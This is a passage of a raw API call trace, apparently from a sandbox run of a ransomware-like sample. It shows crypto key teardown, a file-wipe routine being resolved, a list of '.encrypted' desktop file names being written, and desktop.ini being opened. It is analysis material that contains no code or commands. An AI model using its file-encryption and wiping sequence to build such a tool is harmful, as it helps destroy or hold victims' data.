wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.355] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.355] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.355] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.355] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.356] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.356] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.356] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0022.356] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.356] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.356] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0022.356] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.356] CryptDestroyKey (hKey=0xe8f4062aa0) returned 1 [0022.356] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.356] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.356] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.356] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.356] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.356] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.356] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.356] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.356] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.357] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0022.357] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.357] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.357] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.357] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.357] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.357] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.357] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.357] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.357] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.357] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.357] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.357] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.357] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.357] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.357] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.357] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.357] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.357] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.357] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.357] CryptReleaseContext (hProv=0xe8f40633d0, dwFlags=0x0) returned 1 [0022.357] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.357] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.357] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.357] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.357] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.357] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.357] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.359] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.359] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.359] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0022.359] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.359] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.359] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.359] CharLowerBuffW (in: lpsz="byte[5959]", cchLength=0xa | out: lpsz="byte[5959]") returned 0xa [0022.359] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.359] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0022.359] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.359] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0022.360] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.360] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.360] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.360] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0022.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.360] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0022.361] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.361] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.361] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.362] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0022.362] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.362] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.362] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.362] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.362] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.362] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.362] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0022.362] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.362] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.362] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.362] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.362] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.366] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.366] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.366] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.366] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.366] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.366] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.366] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.366] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.366] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0022.366] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=644) returned 1 [0022.366] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.366] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0022.366] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0022.366] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x284, lpOverlapped=0x0) returned 1 [0022.367] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0022.367] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.367] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=644) returned 1 [0022.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\cChNLI nseUI.encrypted.mp3\r\n", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0022.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\cChNLI nseUI.encrypted.mp3\r\n", cchWideChar=58, lpMultiByteStr=0xe8f4051040, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\cChNLI nseUI.encrypted.mp3\r\n", lpUsedDefaultChar=0x0) returned 58 [0022.367] WriteFile (in: hFile=0x188, lpBuffer=0xe8f40515e0*, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40515e0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x39, lpOverlapped=0x0) returned 1 [0022.367] CloseHandle (hObject=0x188) returned 1 [0022.369] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.369] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.369] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.369] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.369] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.369] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.370] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.370] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.371] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0022.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41788c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0022.371] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0022.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178800, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0022.372] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0022.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\desktop.ini", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0022.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\desktop.ini", cchWideChar=41, lpMultiByteStr=0xe8f404ba10, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\desktop.ini", lpUsedDefaultChar=0x0) returned 41 [0022.373] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\desktop.ini" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.373] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=41, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0022.373] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=41, lpWideCharStr=0xe8f40696b0, cchWideChar=41 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\desktop.ini") returned 41 [0022.373] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.374] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.374] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.374] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.374] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, 